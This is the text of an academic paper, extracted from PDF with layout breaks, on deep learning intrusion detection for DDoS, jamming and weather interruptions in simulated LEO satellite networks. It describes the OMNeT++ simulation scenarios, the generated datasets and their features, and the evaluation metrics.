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+1
+Deep learning approach for interruption attacks
+detection in LEO satellite networks
+Nacereddine Sitouah, Fatiha Merazka, Abdenour Hedjazi
+Abstract
+The developments of satellite communication in network systems require strong and effective security
+plans. Attacks such as denial of service (DoS) can be detected through the use of machine learning techniques,
+especially under normal operational conditions. This work aims to provide an interruption detection strategy
+for Low Earth Orbit (LEO) satellite networks using deep learning algorithms. Both the training, and the testing
+of the proposed models are carried out with our own communication datasets, created by utilizing a satellite
+traffic (benign and malicious) that was generated using satellite networks simulation platforms, Omnet++
+and
+Inet.
+We
+test
+different
+deep
+learning
+algorithms
+including
+Multi
+Layer
+Perceptron
+(MLP),
+Convolutional Neural Network (CNN), Recurrent Neural Network (RNN), Gated Recurrent Units (GRU),
+and Long Short-term Memory (LSTM). Followed by a full analysis and investigation of detection rate in both
+binary classification, and multi-classes classification that includes different interruption categories such as
+Distributed DoS (DDoS), Network Jamming, and meteorological disturbances. Simulation results for both
+classification types surpassed 99.33 % in terms of detection rate in scenarios of full network surveillance.
+However, in more realistic scenarios, the best-recorded performance was 96.12 % for the detection of binary
+traffic and 94.35 % for the detection of multi-class traffic with a false positive rate of 3.72 %, using a hybrid
+model that combines MLP and GRU. This Deep Learning approach efficiency calls for the necessity of using
+machine learning methods to improve security and to give more awareness to search for solutions that facilitate
+data collection in LEO satellite networks.
+Index Terms
+Distributed Denial of Service, Satellite Communication, Leo Earth Orbit Satellites, Deep Learning,
+Intrusion Detection System, Security Development
+I. Introduction
+Nowadays, the internet has become more and more important in our lives; in order to satisfy
+the increasing users’ demands and their needs in term of speed, latency and availability, we are
+witnessing a very competitive race of network equipment revolutions, services visualization and
+the emergence of the clouds. An (artificial) satellite is an object sent into space and placed in
+orbit around the Earth, it is composed of many components including a power system,
+N. Sitouah, F. Merazka and Abdenour Hedjazi are with the Department of Telecommunications, Electrical Engineering
+Faculty,
+USTHB
+University,
+16111,
+Algiers,
+Algeria,
+e-mail:
+{nacereddine.sitouah@gmail.com,
+fmerazka@usthb.dz,
+abdouzpo@live.fr
+January 11, 2023
+DRAFT
+arXiv:2301.03998v1  [cs.CR]  10 Dec 2022
+
+2
+an altitude and orbit control system, and most importantly a communication system allowing
+the transmission and reception of messages [1]. Satellites enable the communication between
+geographically dispersed systems through wireless communication links. They are widely used in
+various fields of communication, such as the Internet, radio broadcasting services, and telephony
+applications.
+They
+allow
+wider
+coverage
+with
+reasonable
+deployment
+costs
+compared
+to terrestrial networks. Satellite communications are expected to become an independent part of
+the fifth generation (5G) cellular networks and they can be the building block for the sixth
+generation (6G) of wireless communication technologies. In 2020, China successfully launched an
+experimental test satellite which is considered to be ”The World’s First 6G Satellite”. In
+addition, satellites are making much greater use of the communication potential using Internet
+of Things (IoT) equipment. In favor of satellites communication safety and reliability, just like
+both wired and wireless terrestrial communication networks, the investigation of security must
+be a priority, the nature of Wide Area Network (WAN) communications, especially those that
+provide
+wider
+coverage
+through
+broadcasting
+protocols,
+makes
+satellite
+networks
+highly
+vulnerable to cyber-attacks of various types targeting large infrastructures, they typically
+employ very effective, and well-supported technologies to breach their targets’ defense system.
+One of most successful and invasive attacks is the denial of service (DoS) attack. A DoS attack
+consists of deliberately sending a big amount of bogus messages to the operating server of the
+network, aiming to disrupt and satellite communication services. This attacks exhausts the
+limited resources of a satellite system components, which includes the memory, CPU, bandwidth
+and also electrical energy. Another simple, yet very efficient method of causing a DoS on satellite
+networks is Jamming, just as described in its name, this attack involves the use of one or
+multiple devices to intentionally interfere with radio signals sent and received from and to the
+satellite, compromising the communication channel with the clients or other satellites.
+Because the DoS attack causes very critical security issues for wireless communication networks,
+there must be efforts dedicated to prevent or at least remedy the damages caused by it. The
+available computational power of this day and age, has made artificial learning and particularly
+Machine Learning (ML) one of the most successful technologies for the detection, the prevention
+and the prediction of security problems and incidents. We aim in this work to propose a protection
+solution based on ML and demonstrate how artificial intelligence can also help ensuring the safety
+and availability of non-terrestrial networks.
+The rest of this paper is structured as follows. This section will also include a state of the art
+regarding related works, and an overview of our contributions through this paper. In Sect. 2, an
+DRAFT
+January 11, 2023
+
+3
+introduction to Low Earth Orbit (LEO) satellites security will be given with a brief description
+of some of the most important interruption detection techniques currently deployed. The detailed
+proposed mechanism will be presented in Sect. 3. And in Sect. 4 and 5, the environment preparation
+details and the performance evaluation of our solutions will be provided. And finally, a conclusion
+is given in the last section of this paper.
+A. Related Work
+1) Satellite communication security: Regarding the related literature on satellite security, an
+efficient and secure anonymous authentication solution for satellite communication was proposed
+in [2]. It is based on a simple and secure one-way hashing function to match computation
+capabilities in lightweight-device environments. Authors in [3] created an access verification
+protocol (BAVP) using identity-based encryption and blockchain technologies. The combination
+makes data storage more secure in distributed computing systems, particularly LEO satellite
+networks. The simulation proved the security of the protocol but the deployment still needs
+some reforming of the blockchain technology according to particular satellite network routing
+algorithms. Another authentication schemes for satellite-communication using lightweight key
+agreement was proposed in [4] [5] and [6]. Authors of [4] provided mutual authentication,
+session-key agreement and a solution for user anonymity problems. They presented formal and
+informal security analyses against different well-known attacks. Their results validate the new
+scheme efficiency and additional security features such as user anonymity and forward secrecy.
+In [7], they treat jamming threats to enhance security, the authors performed a secrecy analysis
+for the uplink transmission in satellite communication which is based on the orthogonal
+time-frequency space (OTFS) and a comparison with the traditional Orthogonal Frequency
+Division Multiplexing (OFDM) scheme. Results demonstrated better performance of the uplink
+LEO Sat-Com (Satellite Communication) system.
+2) Machine learning in satellite communication: The state of the art concerning satellite
+communication security indicates that non-intelligent methods, which do not include any type of
+artificial intelligence, significantly underperform compared to solutions integrating intelligence.
+The work in [8] puts forward an Extreme Learning Machine-based distributed routing (ELMDR)
+strategy to make routing decisions by predicting traffic. In [9], they use machine learning
+algorithms
+to
+detect
+message
+collisions,
+by
+optimizing
+the
+automatic
+dependent
+surveillance-broadcast (ADS-B) reception. The NASA research center and authors of [10]
+studied the role of machine learning in the link-to-link aspect of Sat-Com, they used
+January 11, 2023
+DRAFT
+
+4
+reinforcement learning space links to ground stations using NASA’s testbed on the international
+space station. In [11] authors created a lightweight model of neural networks in the hope of
+encouraging the development of an intelligent edge IoT architecture by satellite, this solution
+combines edge computing with deep learning. Results show and prove that lightweight neural
+networks like MobileNet and ShuffleNet are more suited to satellite IoT scenarios in the IoT
+edge satellite intelligent computing architecture. The work in [12] experiments on the promising
+transport protocol Multipath TCP (MPTCP) in LEO Sat networks, using the self-learning
+properties brought by reinforcement learning in order to find the optimal congestion control
+strategies. Another potential of improvement by the use of deep learning techniques is the
+accuracy of 5G terminal location discovery. [13] overcomes the dependency on the external
+global navigation satellite system, data clustering methods of unsupervised ML are used to
+classify and exclude measured data. [14] emulates a Sat-Com platform to generate environment
+data and capture different internet communications (encrypted, unencrypted and tunneled) in
+order to have a high classification rate and improve the overall Quality of Service (QoS) of the
+communication. Machine learning is also recently used in satellite operation, such as interference
+detection, flexible-payload configuration and congestion prediction [15], and for resource
+allocation on the internet of Remote things [16], the authors study different security aspect in
+SIoRTNs (satellites for Internet of Remote things networks), the proposed algorithm based on
+actor-critic reinforcement learning (SACRL) showed effectiveness in term of the IoRT data
+download performance.
+3) Detection of interruption using machine learning : DDoS and interruption attacks are the
+biggest threat that generally target Sat-Com. We performed a comprehensive literature review
+regarding these particular issues. The first obstacle was the unavailability of communications
+datasets, followed by the unavailability of public DDoS traffic captured from satellite networks.
+However, our work applies the same principle of using ML for DDoS detection as in-ground
+networks. Experiments in [17] use public communication datasets to train a model capable of
+detecting several types of attacks including the DoS in the IoT, by deploying a distributed
+learning method based on Fog Computing.
+Authors of [18] proposed a solution based on artificial neural networks for the recognition of
+DDoS attacks, combined with a Learning Vector Quantization neural network (LVA NN). The
+authors of [19] are interested in the security of the IoT, particularly the IIotT (Industrial IoT),
+they developed an anomaly detection technique for the IICSs (Internet Industrial Control
+Systems) based on ANNs models that can learn and validate using information collected from
+DRAFT
+January 11, 2023
+
+5
+TCP/IP packets. Similarly, researchers in [20] studied the detection of DDoS attacks in smart
+agriculture, called AIoT. They deploy an identifier based on three models (CNN, DNN, and
+RNN) and compare its performance for both binary and multi-class classifications. Another work
+in [21] developed a model based on CNNs, with both types of classification, using the most
+recent IDS datasets that contains advanced DoS attacks. [22] took a different approach using a
+hybrid deep learning method for Botnet attack detection in the IoT, the method overcomes
+memory constraints in LSTM models, authors used a short-memory automatic encoder (LAE) to
+reduce feature size, and then implemented Bi-LSTM for interruption attacks detection.
+B. Contributions
+In this paper, we propose a methodology that allows the study and the investigation of deep
+learning solutions in the security of satellite communication. Our main contributions can be
+expressed into the following:
+• We present a simulation environment which allows the study on similar characteristics of
+real satellite networks, using Omnet++ network simulator, and a personalized topology for
+four different scenarios: Normal communication, DDoS flooding attacks, Natural cause
+interruptions (ex: rain and thunderstorms) and network jamming.
+• We propose a method to generate rich datasets from the simulation results, then we present
+different deep learning algorithms and experiment with them on our datasets in different
+scenarios and conditions.
+• We test each of our algorithms on the two main datasets: SAT-COM.LEO.NDBPO#1 and
+SAT-COM.LEO.NDBPO#2, for both classification types: binary classification and multi-class
+classification in an offline manner.
+• We finally present a methodology that allows the test of the previous algorithms combined
+with probability calculations to create an IDS capable of real-time detection of interruption
+causes.
+• The performance of each algorithm in each scenario is investigated and compared to ensure
+efficiency and minimize false alerts for better overall performance.
+.
+January 11, 2023
+DRAFT
+
+6
+II. LEO security
+China’s CCID (China Center for Information Industry Development) estimates that the number
+of LEO satellites will exceed 57,000 by 2029 [41], encompassing all technology sectors. Hence, any
+damage inflicted in the satellite sector can have a quality of service effect, leading to heavy financial
+or data losses. Unfortunately, organizations rarely have direct control over satellites cybersecurity,
+as satellite operations are driven by technologies hosted on Earth; these land-based entry points
+offers cyber attackers a huge number of potential forays. Long range telemetry for communication
+with ground stations poses a great weakness, uplinks and downlinks are often transmitted via
+open telecommunication network security protocols, and easily accessible by cybercriminals. IoT
+devices that use satellite communications are also a potential entry points for bad actors.
+A. Classification of security problems
+According to the work of H. Cao et al [42], security problems in satellite communications can
+be divided into three broad categories; we focus on telecommunication and network security:
+• National security
+1 - Threats to national security : These threats are summed up in the theft of strategic
+information on targeted countries, by deploying an Earth observation station on LEO
+satellites, it’s an eavesdropping attack condemned by the Space Law.
+2 - preemption of frequency and orbit resources : The ITU organizes and shares orbit and
+frequency resources according to a FIFO service queue, this type of threat consists of the
+illegal use of these limited resources, which can potentially cause an interruption or a DoS.
+• Network security
+3 - Identity theft: If the authentication and identification mechanism used is vulnerable, old or
+public, an attacker can impersonate a legitimate terminal and gain access to it by calculating
+uplink frequencies and then bypassing ACPs (Access control policies), or a spy satellite can
+invoke an ISL connection that seems legitimate with the victim satellite.
+4 - Listening to data and intercepting information: Many satellite communications do not
+encrypt the data transfer, and most protocols are either unscalable or hard to upgrade, which
+makes listening and intercepting messages very frequent and easy to execute.
+5 - signal interference: This kind of attacks is the most common and efficient, an attacker
+can interfere with satellites and scramble channels by transmitting signals from transmitters
+with higher power, on the communicating frequency band.
+DRAFT
+January 11, 2023
+
+7
+6 - denial of services: Like terrestrial networks, DDoS are effective in attacking Internet
+Satellites, an attacker simulates a flow of legitimate and bogus requests from satellite terminals
+in order to send it to satellites, preventing legitimate terminals from good service quality.
+7 - Malicious occupation of satellite bandwidth resources: Most satellites operate as a
+transponder without unpacking the signal, so it becomes impossible to verify the legitimacy
+of a received signal, even if the satellite manages to unwrap the signal, the attacker uses his
+own cryptography technique to hide his communications.
+• Equipment safety
+8 - Malicious satellite control: An attacker sends malicious instructions or injects viruses into
+satellites from the ground or from space to achieve the objective of controlling the satellites,
+dragging the satellite out of orbit, interrupting services or contaminating other satellites.
+9 - Malicious consumption of satellite resources: An attacker directly affect the lifespan of
+satellites by consuming thrusters (responsible for satellite movement, maintaining orbit and
+avoiding collisions).
+B. Interruptions detection techniques
+An interruption is a temporary shutdown or a temporary unavailability of a satellite network
+supply to a customer, such as signal interference, denials of service, unauthorized use of resources,
+malicious network jamming. The protection against such attacks can be classified into four methods
+according to [41]:
+• Statistical-based methods: Based on various statistical algorithms developed using different
+measures. Detection begins with data collection, and ends with an analysis of a significant
+sample of the network to identify malicious traffic.
+In [43], a detection based on the entropy anomaly is proposed, it can determine whether the
+current state is normal or compromised based on the entropy value, then detects the DDoS
+attack by changing the entropy value of the network characteristics. Moreover, Shannon’s entropy
+[6] is considered to be one of the best methods to detect abnormal traffic [44] [45].
+• Machine learning method: Traditional ML approaches are used to analyze and classify traffic. They
+obtain good results under certain conditions. In [46], a method based on K-means and K-nearest
+fast neighbors is proposed. The limitation of traditional machine learning for detecting DDoS
+attacks is that historical traffic characteristics cannot be used, and the bigger the data grows, the
+lower the detection rate. It is for this reason that new ML approaches such as DL give more hope
+for better results.
+January 11, 2023
+DRAFT
+
+8
+• Prevention techniques: One of these works is presented in [47] in which the authors studied the
+possibility of preventing DoS attacks by reducing the power consumption of the control center
+while preventing DoS attacks. others propose a system that provides proactive prevention against
+DoS and DDoS attacks, monitoring the network in normal operation with the average number
+of requests circulating, making it possible to block any traffic generating an anomaly. In general,
+implementing any authentication and cryptography solution dramatically decreases the risk of
+being attacked, but the majority of satellite communication systems lack investment in security
+and protection techniques.
+• Specific applications: These solutions developed and intended in particular for security against DDoS
+attacks, from a specific structure, such as the use of the blockchain to advise other users on a attack,
+honeypots using the network to deceive the intruder.
+III. Proposed interruption detection mechanism
+Our work puts into practice different techniques of deep learning in order to propose a solution
+that improves the detection of interruption attacks targeting LEO satellite communications. The
+effectiveness of any machine learning model depends on the availability of rich training data. Thus,
+communication datasets are the essential element of our DL based project. To exceed the problem of
+public DDoS traffic datasets unavailability had to be solved, we propose a simulation technique that
+will allow us to generate a benign communication dataset, with several communication scenarios
+affected by interruptions in satellite networks, a technique dedicated particularly to networks via
+LEO satellites. The well-known simulation tools OMNeT++ and INET library will be used to
+capture the different properties of the simulated satellite communications. We propose a satellite
+networking topology composed of 20 earth terminals, three satellites equipped with processing
+units, inter-satellite links, and satellite-terrestrial links. Each terminal in the topology is assumed
+able to communicate directly with satellites in its reception scope.
+Fig.1 represents the topology used to generate satellite communication traffic during simulation,
+where each orbiting satellite covers an area of the earth. Terminals1..10 are covered by Satellite1
+and Terminals11..20 are covered by the Satellite2. The communication between an earth terminal
+and a satellite is on the frequency channel 1616Mhz. When an End-User from Zone1 wants to
+communicate with another End-User from Zone2, Satellite1 uses the frequency channel 23180MHz
+to send the message to the Satellite3, which in turn transmits it to Satellite2, then this latter finally
+transmits the message to the destination End-User. Dynamic Satellite-to-Satellite routing protocols
+DRAFT
+January 11, 2023
+
+9
+are not supported by the simulator, therefore, Satellite3 uses static routing protocols assuming that
+both Satellite1 and Satellite2 are fixed objects from its point of view.
+Fig. 1: Network topology
+A. Construction of «SATCOM.LEO.NDBPO.#1» dataset
+We would like to mention the work of F.Alhaidari and A.Alrehan, although this project took
+a much different path, the idea of generating this dataset was inspired by their efforts in [48].
+Essentially, two utilities play an important role for datasets’ generation. First, the log console
+which is window available under the GUI of Omnet++, displays message transmission events that
+have taken place between different modules during simulation. Second, the vector file, which records
+network information in time intervals as statistics for each module, as data timestamp. These data
+values are recorded and captured based on several categories or features.
+By combining the data retrieved using both utilities, we obtain relevant information characterized
+with LEO satellites communications properties. We use Jupyter Notebook with our python scripts
+that explore each event in the log file, and for each event it calculates the current, previous and
+next time for each module. To extract the values of the features in the interval between the previous
+time and the next time, the script calculates the value of each feature in the Vector file for each
+communication event according to the following equation 1:
+For each feature i and event j (with n the number of nodes in communication):
+V alFeati(eventj) =
+n
+�
+k=1
+V alFeatiNodek[Previous event time, Next event time]
+(1)
+Fig.2 presents the workflow of the dataset’s creation.
+January 11, 2023
+DRAFT
+
+Space
+23180MHz
+23180MHz
+ISL
+Satellite 3
+ISL
+Satellite 1
+Satellite 2
+1616.99MHz
+1616.99MHz
+ee
+EndUser 11..20
+satellite 3
+coverage area
+EndUser 1..10
+Zone 2
+Satellite1
+Satellite 2
+coverage area
+coverage ares10
+Fig. 2: Features extraction flow.
+We use another python script to generate more features and enrich the dataset, as notation we
+call reference local time for packets with the same sender, receiver and protocol, and global time to
+reference any packet sent or received.
+B. Construction of «SATCOM.LEO.NDBPO.#2» dataset
+This dataset serves the purpose of implementing a flow based intrusion detection system (IDS),
+which would be more suitable for real-time detection. We use the module «PcapRecorder» of
+Omnet++ to record the communication traffic that passes to or from a node in the topology.
+After the generation of the communication pcap files we use «TcpReplay» tool to regenerate the
+simulation traffic on an environment external to the simulation.
+Several features similar to the previous dataset are used, combined with other new flow-based ones
+that are created with python scripts. A communication flow is any continuous and uninterrupted
+communication, that does not contains any error message due to an unreachable destination.
+DRAFT
+January 11, 2023
+
+For each instancej
+For each instancei
+Search Aet @
+Filter by A et @
+Final log file
+Feature i
+2,r
+True
+ADD VALUE
+J >= 0 >= 
+Sum of added
+False
+values
+True
+Last
+instance
+False
+False
+Next line
+Update
+ =>
+in feature_i
+dataset
+True
+A: Sender_j
+Q: Previous time
+@: Time_i
+I: Next time
+add most recent value
+@-I=minimum11
+Tab.I summarizes different features in the datasets:
+TABLE I: Description of «SATCOM.LEO.NDBPO.#1» and «SATCOM.LEO.NDBPO.#2» features
+No.
+Feature
+Description
+Dataset#1
+Dataset#2
+-
+sendTime
+Sending time according to the sniffed packet
+yes
+yes
+-
+sender
+Packet sender
+yes
+yes
+-
+reciever
+Packet receiver
+yes
+yes
+-
+IP
+src
+Ip Address of the source
+yes
+yes
+-
+port
+src
+Port of the source
+yes
+yes
+-
+IP
+dest
+Ip Addres of the destination
+yes
+yes
+-
+port
+dest
+Port of the destination
+yes
+yes
+-
+Frequency
+Transmission frequency
+yes
+no
+1
+Next
+Current
+diff
+Global time difference between current and next
+yes
+yes
+2
+Next
+Pre
+diff
+Global time difference between previous and next
+yes
+yes
+3
+SNext
+Current
+diff
+Local time difference between current and next
+yes
+yes
+4
+SNext
+Pre
+diff
+Local time difference between previous and next
+yes
+yes
+5
+size
+Packet size
+yes
+yes
+6
+channel
+Frequency channel
+yes
+yes
+7
+duration
+Transmission duration
+yes
+no
+8
+packet
+type
+Packet type (Udp,Icmp)
+yes
+yes
+9
+rcvdPK
+Recieved packets
+yes
+no
+10
+sentPK
+Sent packets
+yes
+no
+11
+droppedPKWrongPort
+Dropped packets, wrong ports
+yes
+no
+12
+DataQueueLen
+Data queue length
+yes
+no
+13
+passedUpPk
+Passed up packets
+yes
+no
+14
+rcvdPKFromHL
+Received from higher layer
+yes
+no
+15
+rcvdPKFromLL
+Received from lower layer
+yes
+no
+16
+sentDownPK
+Sent down packets
+yes
+no
+17
+DropPKByQueue
+dropped packets from queue
+yes
+no
+18
+snir
+Signal-to-interference-plus-noise ratio
+yes
+yes
+19
+throughput
+Transmission throughput
+yes
+yes
+20
+Flow Bytes
+s
+Flow’s bytes per second
+no
+yes
+21
+Flow Packets
+s
+Flow’s packets per second
+no
+yes
+22
+meanT
+b
+2P
+Mean time between two packets
+no
+yes
+23
+maxT
+b
+2P
+Maximum time between two packets
+no
+yes
+24
+minT
+b
+2P
+Minimum time between two packets
+no
+yes
+C. Description of the different scenarios
+We focus on various security aspects related to services’ availability, in order to achieve this we do
+not consider network flooding attacks solely, we rather include meteorological and other jamming
+disruption scenarios.
+1) Scenario 1 «Benign traffic»: Based on the topology shown in Fig.1, benign communication is
+achieved by a stream based on UDP protocol, it simulates real-time running applications such as
+voice and video, which cannot wait for recovery mechanisms such as retransmissions. The protocol’s
+performance through a satellite network is characterized as having a significant delay depending on
+January 11, 2023
+DRAFT
+
+12
+the height of the satellite orbit and the number of satellite hops. It should be noted that Omnet++
+does not allow three-dimensional simulation, for this reason the height of the satellites is ignored,
+but the characteristics of the network are based on the actual performances of a LEO satellite.
+Benign traffic is labeled «Normal».
+Note: «Omnet++» does not implement frequency division protocols, but allows communication
+through channel numbers, so if two nodes use two different channels, they cannot communicate.
+Note 2: The «Simulation time» intervals can be set freely depending on the power of the computer
+in hand.
+2) Scenario 2 «Malicious ”UDP Flood” traffic»: This traffic is a DDoS attack targeting the
+satellites communications, this attack is carried out by infecting certain earth terminals of the
+network, to send larger packets with a higher transmission rate. This malicious traffic is labeled
+«UDP Flood attack»,
+and
+carried
+out
+by
+adding
+another
+communication
+flow
+sent
+by
+contaminated users. Fig.3 is a graphic demonstration of this attack.
+Fig. 3: Network topology of UDP flood attacks.
+3) Scenario 3 «Natural interruption ”Rain and thunderstorms”»: Among the natural disruptions
+are meteorological events, such as torrential downpours and aggressive thunderstorms, which
+actually dramatically increase the rate of loss in satellite communication, This traffic is carried
+out by modifying the path loss for the affected users. Fig.4 describes this scenario.
+4) Scenario 4 «Jamming network interference»:
+We achieve satellite network jamming by
+simulating aircrafts (JamCrafts) that fly in the field of view of satellites antennas, send and
+receive noise signals in the same radio frequencies used by the targeted satellite, this traffic is
+carried out by adding another communication flow between attacking aircraft and ground agents.
+DRAFT
+January 11, 2023
+
+Space
+23180MHz
+23180MHz
+Z
+ISL
+Satellite 3
+ISL
+SatelliteE
+atellite2
+1616.99MHz
+1616.99MHz
+EndUser
+(Zambies)
+EndUser (Zambies)
+EndUser 11..20
+Satellite 3
+coverage area
+Satellite 1
+Satellite 2
+coverage area
+coverage area13
+Fig. 4: Network topology of natural disruptions.
+Fig.5 is an abstraction of this attack.
+Fig. 5: Network topology of jamming attacks.
+January 11, 2023
+DRAFT
+
+Space
+23180MHz
+23180MHz
+ISL
+Satellite 3
+ISL
+Satellite1
+Satellite 2
+.1616.99MHz
+EndUser 11..20
+Satellite3
+coverage area
+EndUser 1..10
+Satellite 1
+Satellite 2
+coverage area
+coverage aresSpace
+23180MHz
+23180MHz
+Z
+ISL
+Satellite 3
+ISL
+Satellite 1
+Satellite 2
+1616.99MHz
+EndUser 11..20
+Satellite3
+coverage area
+Endu
+ser 1..10
+Satellite 1
+Satellite 2
+coverage area
+coverage area14
+Tab. II Describes the characteristics of different flows and scenarios.
+TABLE II: Description of the characteristics of benign traffic
+Parameters
+Scenario 1
+Scenario 2
+Scenario3
+Scenario 4
+Number of terminals
+20
+20
+20
+20
+Number of affected terminal
+/
+6
+10
+/
+Number of satellites
+3
+3
+3
+3
+Benign source ports
+5555,3099,2099
+5555,3099,2099
+5555,3099,2099
+5555,3099,2099
+Benign destination ports
+2000,9901,9902
+2000,9901,9902
+2000,9901,9902
+2000,9901,9902
+Targeted satellite
+/
+satellite 3
+satellite 2
+satellite 1
+Malicious source ports
+/
+2001
+/
+/
+Malicious destination ports
+/
+2002
+/
+/
+Total number of channels
+22
+22
+22
+22
+Normal Packets size
+[40B,635B]
+[40B,635B]
+[40B,635B]
+[40B,635B]
+Attack Packets size
+/
+[4000B,5000B]
+/
+/
+Normal transmission rate
+[100ms,400ms]
+[100ms,400ms]
+[100ms,400ms]
+[100ms,400ms]
+Attack transmission rate
+/
+[20ms,50ms]
+/
+/
+Inter-satellite communication channel
+30 , 31
+30 , 31
+30 , 31
+30 , 31
+Ch between satellite 0 & EndUsers [0..9]
+[0..10]
+[0..10]
+[0..10]
+[0..10]
+Ch between satellite 0 & EndUsers [10..19]
+[10..19]
+[10..19]
+[10..19]
+[10..19]
+Path loss
+2
+2
+4
+2
+Satellite transmitter power
+7W
+7W
+7W
+7W
+EndUser transmitter power
+7W
+7W
+7W
+7W
+Number of ground agents
+/
+/
+/
+10
+Number of JamCrafts
+/
+/
+/
+1
+Ch between JamCraft & JamUsers [0..9]
+/
+/
+/
+[0..10]
+JamCraft transmitter power
+/
+/
+/
+12W
+JamUser transmitter power
+/
+/
+/
+20W
+Attack duration
+0s
+33s
+26s
+80s
+Simulation time (dataset#1)
+0s-90s
+90s-123s
+124-250s
+250s-330
+Simulation time (dataset#2)
+0s-900s
+900s-1500s
+3000s-4500s
+1500s-3000s
+D. Applying Deep Learning
+The first step in applying a machine learning algorithm is data normalization, which is the process
+of resizing the dataset’s attributes into a particular range, such as between 0 & 1 or 1 & -1. Data
+normalization prepares datasets to be fed into ML classifiers, in order improve the accuracy of the
+results. We normalize our datasets with the min-max function [49]:
+X =
+(x − Min)
+(Max − Min)
+(2)
+We then standardize and label the datasets, and implement different deep learning algorithms and
+compare their efficiency, we test several models such as MLPs, CNNs and RNNs, the workflow to
+achieve our goals is as follows:
+DRAFT
+January 11, 2023
+
+15
+1) Training phase: This is the first step to create a classifier, it is necessary to find the most
+adequate parameters of the algorithms for the classification problem in hand, this makes it possible
+to create an intelligent model offering high precision rates. The input dataset dataset will be divided
+into three parts containing 40%, 30% and 30% of the dataset’s totality, the first part is used to
+train the model and modify the weights of the algorithm. To ensure that the model does not overfit,
+the second part is used for the validation of the model, so that at each iteration, the model is only
+updated if it performs better on the validation set.
+2) Evaluation phase: The last 30% of the splits, is used to test the new model, and display results
+in a format allowing its evaluation, which is done according to the following factors (Annotations:
+TP = True positives, FP = False positives, FN = False negatives, TN = True negatives [49]):
+• Accuracy: The percentage of correct classifications of the model:
+Accuracy =
+TP+TN
+TP+FP+TN+FN
+• Precision: The percentage of correct positive instances out of the total predicted positive cases:
+Precision =
+TP
+TP+FP
+• Recall: The percentage of positive instances out of the total of actual positive instances: Recall =
+TP
+TP+FN
+• Sum
+of
+probabilities:
+The
+total
+sum
+of
+the
+probabilities
+of
+the
+correct
+classes:
+sum prob = �n
+k=1 Prob class correct
+• Confusion matrix: The rate of false or correct predictions by class.
+E. Workflow/Different steps of implementation
+1) Offline detection under simulation: Here, we suppose that the controller (agent), has full
+surveillance on the simulated LEO network, so we assume he can monitor all the modules
+participating in the communication, this means that the generated dataset contains all the
+packets sent or received, and all features related to the network. This way, it becomes possible to
+find the most significant characteristics and have a precise and deeply detailed description of the
+important element for a safe satellite network (in the simulation environment).
+2) Offline / online detection: : In this scenario, the specific constraints and conditions of a
+satellite communication network are taken more into account, such as: Electric power limitation,
+Computing power constraints, information availability and unavailability, Necessity of online
+detections, Impossibility of live surveillance on EndUsers.
+In this case, we set surveillance at satellites level, the security agent can only monitor them or earth
+January 11, 2023
+DRAFT
+
+16
+stations. This makes it possible to simulate a satellite by a virtual machine which will capture in
+real time, the communication flow generated from the simulation environment. This approach was
+used to create the «SATCOM.LEO.NDBPO.#2» dataset.
+TcpReplay tool allows us to generate traffic with the same send and receive time values, the
+satellite uses our own sniffer programmed in python, that captures the packets, processes them
+and transmits the processed data via the best performing deep learning model.
+IV. Environment preparation and datasets generation
+In this section, we put into action our solution, evaluate the generated flow and our anomaly based
+detection approach in a working environment that allows the creation of a communication network
+composed of LEO satellites.
+A. Work environment
+We use an ultra-portable Notebook ”Lenovo T490s” with a Core (TM) i7-8665U processor (1.90
+GHz, up to 4.80 GHz with Turbo Boost, 4 Cores, 8 Threads, 8 MB Cache), 64 bits and 16 GB of
+RAM, equipped with a Windows 10 Pro operating system and two VMs with a Linux OS Ubuntu
+16.04 LTS.
+Installation of the simulator: We install the Omnet++ simulation tool, its vendors offer a step-by-
+step manual which can be found under [50]. We use Omnet++ v4.6 but we recommend installing it
+under a Linux environment for version compatibility reasons, we use Ubuntu 16.04. After installing
+the simulator, it is necessary to download and import the open source INET v2.5 model library
+into Omnet++, a complete manual can be found under [51].
+Topology implementation: To achieve the architecture seen in Fig.1, we use a combination of
+modules created under Omnet++, detailed in Tab.III:
+1) Dataset generation: We generate «SATCOM.LEO.NDBPO.#1» by extracting the useful instances
+from the log file and then enriching them with the information gathered from the vector file. Fig.7
+file shows how Omnet++ generates the contents of the «final log file» in Fig.2.
+For «SATCOM.LEO.NDBPO.#2» we use the pcap file generated by the simulator and captured
+with PcapRecorder from satellite[0] node, then on a new Ubuntu VM equipped with «TcpReplay»
+and a customized sniffer, that capture packets in real time and simultaneously creates instances of
+the second dataset.
+DRAFT
+January 11, 2023
+
+17
+TABLE III: Description of the main Omnet’s nodes in the network topology
+Name
+Description
+EndUser
+An extension of Inet’s ’Sat
+User’ module modified to represent a terrestrial user.
+& JamUser
+....................
+Satellite
+An extension of the ’Satellite’ module of OS3 (Omnet’s Open Source Satellite Simulator
+developed at the Communication Networks Institute, TU Dortmund, Germany [58]) modified
+and equipped with a communication network interface and a radio interface to represent
+a satellite able to receive and transmit messages.
+.............
+ChannelControl
+This is an instance in every network model that contains mobile or wireless nodes. This
+module is informed of the location and movement of nodes, and determines which nodes are
+within communication or interference distance.
+JamCraft
+A custom module representing an aircraft with the ability to transmit stray radio signals
+covering a large land area.
+Fig. 6: Topology under Omnet.
+B. Information on the generated datasets
+The generation time of a dataset is as important as the response time and the detection time,
+whether offline or in real time. Tab.IV illustrates some statistics on the cost in terms of time.
+Note that two datasets cannot be compared without context, because the first contains more
+information
+with
+a
+total
+monitoring
+on
+the
+network
+in
+a
+simulation
+period
+of
+330s
+January 11, 2023
+DRAFT
+
+Event#1
+t=os
+Msgstats:242scheduled/908existing/908created
+In:LEO_sim.R U.networkLayer.ip(IPv4,id=47)
+At:lastevent+Os
+10
++100
++1000
++1e4
+sec
+Zo0m:1.00x
+JamUser/JamCraft
+Satellite
+EndUser18
+Fig. 7: A sample of the contents of the «log» file
+TABLE IV: Statistics on the datasets generation
+Dataset
+SATCOM.LEO.NDBPO.#1
+SATCOM.LEO.NDBPO.#2
+Scenarios
+Scn 1+2
+Scn 1
+Scn 3
+Scn 1+2
+Scn 1
+Scn 3
+Packet extraction time
+47.70s
+18.92s
+30.88s
+1500s
+1500s
+1500s
+Time to remove unnecessary csvs
+9.28s
+7.83s
+8.43s
+/
+/
+/
+Feature creation time
+1089.49s
+842.53s
+470.58s
+/
+/
+/
+Time to add features
+111.88s
+26.68s
+10.24s
+242s
+151s
+160s
+Radio features addition time
+/
+/
+/
+16h
+9h
+10h
+Normalization time
+22.93s
+278.60s
+(total size = 252MB), and the second dataset is a capture of the satellite[0] during a simulation
+period of 4500s (total size = 929 Mo).
